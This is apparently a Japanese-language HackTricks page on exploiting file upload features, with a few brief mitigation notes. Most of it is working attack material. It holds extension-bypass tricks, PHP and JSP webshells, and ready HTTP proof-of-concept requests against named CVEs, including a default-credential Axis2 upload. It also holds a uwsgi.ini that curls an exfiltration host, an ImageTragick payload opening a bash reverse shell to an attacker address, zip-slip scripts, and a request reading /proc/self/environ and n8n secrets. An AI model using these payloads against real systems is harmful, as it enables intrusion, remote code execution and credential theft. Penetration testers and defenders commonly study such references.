ファイルアップロード

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

File Upload General Methodology

その他の有用な拡張子:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr …
  2. Check adding a valid extension before the execution extension (use previous extensions also):
  • file.png.php
  • file.png.Php5
  1. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Add another layer of extensions to the previous check:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
  2. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:

  • Using a valid image MIME and magic header (e.g., PNG’s \x89PNG\r\n\x1a\n).
  • Naming the uploaded file with a PHP extension followed by a dot, e.g., shell.php..
  • The server strips the trailing dot and persists shell.php, which will execute if it’s placed in a web-served directory (default public storage like /storage/files/).

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

次に保存されたパスにアクセスします(Laravel + LFMで典型的):

GET /storage/files/0xdf.php?cmd=id

Content-Type, Magic Number, Compression & Resizing の回避

  • Content-Type チェックを回避するには、Content-Type ヘッダの value を次のいずれかに設定します: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number チェックを回避するには、ファイルの先頭に 実際の画像のバイト を追加して file コマンドを混乱させます。あるいは、metadata 内にシェルを埋め込むこともできます:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ または、ペイロードを画像に直接挿入することもできます:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 画像に compression が適用されている場合(例えば PHP-GD のような標準 PHP ライブラリを使用している時)、前述の手法は有効でないことがあります。しかし、PLTE chunk を使う technique defined here により、圧縮に耐えるテキストを挿入できます。
  • Github with the code
  • Web ページが例えば PHP-GD 関数 imagecopyresizedimagecopyresampled を使って image を resizing している可能性もあります。しかし、IDAT chunk を使う technique defined here により、圧縮に耐えるテキストを挿入できます。
  • Github with the code
  • 画像のリサイズに耐えるペイロードを作る別の手法として、PHP-GD の thumbnailImage を使う方法があります。あるいは、tEXt chunk を使う technique defined here により、圧縮に耐えるテキストを挿入できます。
  • Github with the code

その他の確認ポイント

  • 既にアップロードされているファイルの rename 脆弱性を見つける(拡張子を変更させるため)。
  • バックドアを実行するための Local File Inclusion 脆弱性を探す。
  • Possible Information disclosure:
  1. 同じ名前の 同一ファイル何度も(かつ 同時に)アップロードする。
  2. 既に存在する ファイルフォルダ と同じ name でファイルをアップロードする。
  3. ファイル名を “.” , “..”, or “…” のようにしてアップロードする。例えば、Apache on Windows でアプリケーションがアップロードファイルを “/www/uploads/” に保存する場合、“.” というファイル名は “/www/” ディレクトリに “uploads” というファイルを作成してしまうことがある。
  4. NTFS 上で削除しにくい名前(例: “…:.jpg”)でファイルをアップロードする。(Windows)
  5. Windows|<>*?” のような 無効な文字 を名前に含むファイルをアップロードする。 (Windows)
  6. CON, PRN, AUX, NUL, COM1, … LPT9 のような予約(禁止)名を使用して Windows にファイルをアップロードする。
  • 被害者が誤って開いた時にコードを実行するような、実行可能ファイル(.exe)や、(より疑われにくい).html をアップロードしてみる。

Special extension tricks

PHP サーバにファイルをアップロードしようとしている場合は、.htaccess trick to execute code を参照してください。
ASP サーバにファイルをアップロードしようとしている場合は、.config trick to execute code を参照してください。

.phar ファイルは Java の .jar に似たもので、php 用のものであり、php ファイルのように使用(php で実行する、またはスクリプト内で include する)できます。

.inc 拡張子は、ファイルの import のために使われる php ファイルに用いられることがあり、場合によってはこの拡張子が 実行可能 にされていることがあります。

Jetty RCE

Jetty サーバに XML ファイルをアップロードできれば、RCE が得られる(**new .xml and .war are automatically processed 下の画像にあるように、XML ファイルを $JETTY_BASE/webapps/ にアップロードすればシェルが期待できます。

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

この脆弱性の詳細な検証は、オリジナルのリサーチを参照してください: uWSGI RCE Exploitation.

uWSGI サーバでは、.ini 設定ファイルを変更できる能力があれば Remote Command Execution (RCE) の脆弱性を悪用できることがあります。uWSGI の設定ファイルは特定の構文を用いて “magic” 変数、プレースホルダ、オペレータを組み込みます。特に @(filename) のように使われる ‘@’ オペレータはファイルの内容を include するために使われます。uWSGI がサポートするスキームの中でも “exec” スキームは特に強力で、プロセスの標準出力からデータを読み取ることができます。この機能は、.ini 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のために悪用され得ます。

以下は、様々なスキームを示す悪意のある uwsgi.ini ファイルの例を示しています。

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

payloadの実行は、設定ファイルのパース時に発生します。設定が有効化されパースされるためには、uWSGIプロセスを再起動する必要があるか(クラッシュ後やDenial of Service攻撃により)、ファイルがauto-reloadに設定されている必要があります。auto-reload機能が有効な場合、変更を検知すると指定間隔でファイルをリロードします。

uWSGIの設定ファイルパースが緩い性質であることを理解することが重要です。具体的には、ここで述べたpayloadはバイナリファイル(画像やPDFなど)に埋め込むことができ、悪用の範囲がさらに広がります。

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMSの未認証のendpointはweb root内へのarbitrary file writeを許可し、PHPファイルを置くことでpre-auth RCEにつながります。脆弱なバージョン: up to and including 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • 必要なパラメータ:
  • img: data-URI-like string: [mime];[name],[base64] (サーバはtype/nameを無視し、末尾をbase64-deコードします)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: 空でない任意の値が受け入れられます (e.g., 0000000001)

ファイルを書き込み・読み戻すための最小PoC:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

最小限の webshell を配置してコマンドを実行する:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • ハンドラは ;, で分割したあとに base64_decode($_POST["img"]) を実行し、拡張子/タイプを検証せずにバイト列を $absolutePath . '/' . $_POST['path'] に書き込みます。
  • その結果、コードは web service user として実行されます(例: XAMPP Apache on Windows)。

References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.

wget File Upload/SSRF Trick

場合によっては、サーバが wget を使って ファイルをダウンロード しており、あなたが URL指定できる 場合があります。これらのケースでは、ダウンロードされるファイルの拡張子がホワイトリスト内にあるかをコードが確認して、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、このチェックは回避可能です。
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that 別のオプション you may be thinking of to bypass this check is to make the HTTP server を別のファイルにリダイレクトさせる, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This 動作しません でない限り wget is being used with the パラメータ --trust-server-names because wget はリダイレクトされたページを元の URL に示されたファイル名でダウンロードする.

アップロードディレクトリを NTFS junctions (Windows) 経由で回避する

(この攻撃には Windows マシンへのローカルアクセスが必要です) Windows 上でアップロードがユーザーごとのサブフォルダ(例: C:\Windows\Tasks\Uploads<id>) に保存され、かつそのサブフォルダの作成/削除を制御できる場合、当該フォルダを directory junction に差し替えて敏感な場所(例: the webroot)を指すようにできます。以後のアップロードはターゲットパスに書き込まれ、ターゲットが server‑side code を解釈する場合は code execution を可能にします。

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

メモ

  • mklink /J creates an NTFS directory junction (reparse point). Web サーバのアカウントはジャンクションをたどり、宛先に対する書き込み権限を持っている必要があります。
  • これにより任意のファイル書き込みがリダイレクトされます。宛先がスクリプト(PHP/ASP)を実行する場合、RCE になります。
  • 防御: writable upload roots を攻撃者が制御できる状態で C:\Windows\Tasks 等の下に置かせないこと; ジャンクションの作成をブロック; サーバ側で拡張子を検証; アップロードは別ボリュームに保管するか deny‑execute ACLs を設定する。

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

一部の upload/ingest handlers は raw request body を user-controlled query parameters から構成された filesystem path に書き込みます。ハンドラが Content-Encoding: gzip をサポートし、destination path を正規化/検証しない場合、directory traversal と gzipped payload を組み合わせて web-served directory に任意のバイトを書き込み RCE を得ることができます(例: Tomcat の webapps に JSP を置く)。

Generic exploitation flow:

  • Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
  • Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
  • Browse to the written file to trigger execution.

Illustrative request:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

次にトリガー:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

注意

  • ターゲットパスはインストールによって異なります(例: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/)。JSP を実行する任意の Web 公開フォルダで動作します。
  • Burp Suite の Hackvertor 拡張は、ペイロードから正しい gzip ボディを生成できます。
  • これは純粋な pre-auth arbitrary file write → RCE パターンであり、multipart parsing に依存しません。

緩和策

  • アップロード先はサーバー側で決定し、クライアントからのパス断片は決して信用しないでください。
  • 解決されたパスが許可済みのベースディレクトリ内に収まるように正規化(canonicalize)して強制してください。
  • アップロードを非実行可能なボリュームに保存し、書き込み可能なパスからのスクリプト実行を禁止してください。

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2 ベースのアップロードサービスは、攻撃者が制御する 3 つのフィールドを受け取る uploadFile SOAP アクションを公開していることがあります: jobDirectory(宛先ディレクトリ)、archiveName(ファイル名)、dataHandler(base64 ファイルコンテンツ)。jobDirectory が正規化されていない場合、path traversal による arbitrary file write が発生し、Tomcat の webapps に JSP を配置できます。

最小リクエスト概要(デフォルトのクレデンシャルが使えることが多い: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • バインディングはしばしば localhost のみに限定されます;Axis2 ポートが公開されていない場合は、full-read SSRF(absolute-URL request line、Host header ignored)と組み合わせて 127.0.0.1 に到達させてください。
  • 書き込んだ後、実行するには /trufusionPortal/jsp/shell.jsp?cmd=id にアクセスします。

Tools

  • Upload Bypass は、ファイルアップロード機構のテストを支援するために設計された強力なツールです。さまざまな bug bounty techniques を活用して脆弱性の特定と悪用を簡素化し、web applications の徹底した評価を可能にします。

Corrupting upload indices with snprintf quirks (historical)

単一ファイルのアップロードから複数ファイル配列を構築するために snprintf() などを使用するいくつかのレガシーなアップロードハンドラは、_FILES 構造の偽造を引き起こすように騙すことができます。snprintf() の挙動の不整合や切り詰めのために、巧妙に作成された単一のアップロードがサーバ側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を仮定するロジック(例: マルチファイルアップロードとして扱い、安全でない分岐を取る)が混乱します。今日ではニッチですが、この「index corruption」パターンは時折 CTF や古いコードベースで再出現します。

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

シンボリックリンクを含むアーカイブをアップロードし、解凍されたファイルにアクセスするとリンク先のファイルにアクセスできます:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダに展開

解凍中にディレクトリ内で予期せぬファイルが作成されることは重大な問題です。
このセットアップが、malicious file uploads を介した OS-level command execution から防御すると初めは想定されるかもしれませんが、ZIP archive format の階層的な圧縮サポートと directory traversal 機能は悪用可能です。これにより、攻撃者はターゲットアプリケーションの解凍機能を操作して制限を回避し、secure upload directories から脱出できます。

そのようなファイルを作成するための自動化エクスプロイトは evilarc on GitHub で入手できます。
このユーティリティは次のように使用できます:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

さらに、symlink trick with evilarc もオプションです。目的が /flag.txt のようなファイルを狙うことであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーに遭遇しないようになります。

以下は悪意のある zip ファイルを作成するために使用される Python コードの例です:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

圧縮の悪用による file spraying

詳細は 元記事を確認してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. PHP Shellの作成: PHPコードは $_REQUEST 変数で渡されたコマンドを実行するように記述されています。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying と圧縮ファイルの作成: 複数のファイルを作成し、これらを含むzipアーカイブを作成します。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Hex Editor または vi による修正: zip内のファイル名をviやhexエディタで変更し、“xxA” を “../” に置き換えてディレクトリを遡ります。
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

バックエンドがZIPエントリをPHPのZipArchiveで検証し、抽出時にファイル名をそのままファイルシステムへ書き出す場合、ファイル名フィールドにNUL (0x00) を挿入することで禁止された拡張子をすり抜けさせることができます。ZipArchiveはエントリ名をC‑stringとして扱い、最初のNULで切り捨てますが、ファイルシステムはNUL以降も含む完全な名前を書き込んでしまいます。

High-level flow:

  • 合法的なコンテナファイル(例: 有効なPDF)を用意し、そのストリーム内に小さなPHPスタブを埋め込んでmagic/MIMEがPDFのままになるようにする。
  • それを shell.php..pdf のように命名し、zipにしてからZIPのlocal headerとcentral directoryのファイル名をhex‑editし、.php の直後の最初の .0x00 に置換して shell.php\x00.pdf とする。
  • ZipArchiveに依存するバリデータは “shell.php .pdf” を確認して許可し、抽出処理は shell.php をディスクに書き出すため、アップロード先フォルダが実行可能であればRCEにつながります。

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

注意

  • ファイル名の出現箇所の両方(ローカルと central directory)を変更する。いくつかのツールは追加の data descriptor エントリを加えることもあるため、存在する場合はすべての name フィールドを調整する。
  • ペイロードファイルは引き続き server‑side の magic/MIME スニッフィングを通過する必要がある。PHP を PDF ストリーム内に埋め込むことでヘッダを有効に保てる。
  • enum/validation パスと extraction/write パスが文字列処理で異なる扱いをする場合に機能する。

スタック/連結された ZIPs(パーサの不一致)

2つの有効な ZIP ファイルを連結すると、異なるパーサが異なる EOCD レコードを参照するようなバイナリが生成される。多くのツールは最後の End Of Central Directory (EOCD) を探すが、一部のライブラリ(例: 特定のワークフローでの ZipArchive)は最初に見つけたアーカイブを解析することがある。もし検証が最初のアーカイブを列挙し、抽出が最後の EOCD を尊重する別のツールで行われれば、無害なアーカイブがチェックを通過し、悪意あるアーカイブが抽出されてしまう可能性がある。

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

悪用パターン

  • 許可されている種類(例: PDF)の無害なアーカイブを1つ作成し、もう1つにブロック対象の拡張子(例: shell.php)を含めたアーカイブを作成する。
  • それらを連結する: cat benign.zip evil.zip > combined.zip
  • サーバがあるパーサーで検証(benign.zip を検出)し、別のパーサーで展開(evil.zip を処理)する場合、ブロックされたファイルが抽出パスに配置される。

ImageTragic

この内容を画像拡張子でアップロードすると脆弱性を悪用できます (ImageMagick , 7.0.1-1)exploit から)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGにPHPシェルを埋め込む

PNGファイルのIDATチャンクにPHPシェルを埋め込むと、特定の画像処理を効果的に回避できる場合があります。PHP-GDのimagecopyresizedimagecopyresampledはそれぞれ画像のリサイズや再サンプリングに一般的に使われるため、この文脈で特に関連します。埋め込まれたPHPシェルがこれらの処理によって影響を受けない点は、特定のユースケースで重要な利点です。

この手法の方法論や潜在的な応用を詳しく解説した記事は以下にあります: “Encoding Web Shells in PNG IDAT chunks”。このリソースはプロセスとその影響について包括的に理解するのに役立ちます。

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

ポリグロットファイルは複数のファイル形式として同時に有効に存在し得るカメレオンのようなツールです。興味深い例としては、GIFとRARの両方として機能するハイブリッドであるGIFARがあります。GIFとJS、PPTとJSのような組み合わせも可能です。

ポリグロットの主な有用性は、ファイルタイプに基づいてファイルをフィルタリングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険な形式(例: JS、PHP、Phar)を避けるためにJPEG、GIF、DOCといった特定のファイルタイプのみをアップロード許可する運用が一般的です。しかし、ポリグロットは複数のファイル形式の構造的要件を満たすことで、これらの制約を巧妙にすり抜けることができます。

とはいえポリグロットにも制限があります。たとえば、ポリグロットがPHAR(PHp ARchive)とJPEGの両方として振る舞える場合でも、プラットフォームが許可するファイル拡張子に厳格であれば、その構造的な二重性だけではアップロード成功を保証できないことがあります。

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):

  • mmmagic library: 最初の1024バイト内に%PDFのマジックバイトが含まれていれば有効(例は投稿参照)
  • pdflib library: JSONのフィールド内に偽のPDFフォーマットを追加してライブラリにPDFだと認識させる(例は投稿参照)
  • file binary: ファイルから最大1048576バイトまで読み込める。これより大きなJSONを作成してfileがJSONとして解析できないようにし、そのJSON内に実際のPDFの先頭部分を入れれば、fileはPDFだと判断する

Content-Type confusion to arbitrary file read

Some upload handlers trust the parsed request body (e.g., context.getBodyData().files) and later copy the file from file.filepath without first enforcing Content-Type: multipart/form-data. If the server accepts application/json, you can supply a fake files object pointing filepath to any local path, turning the upload flow into an arbitrary file read primitive.

Example POST against a form workflow returning the uploaded binary in the HTTP response:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

バックエンドは file.filepath をコピーするため、レスポンスにはそのパスの内容が返される。一般的なチェーンとしては、まず /proc/self/environ を読み取って $HOME を特定し、続いて $HOME/.n8n/config からキーを、$HOME/.n8n/database.sqlite からユーザー識別子を取得する。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする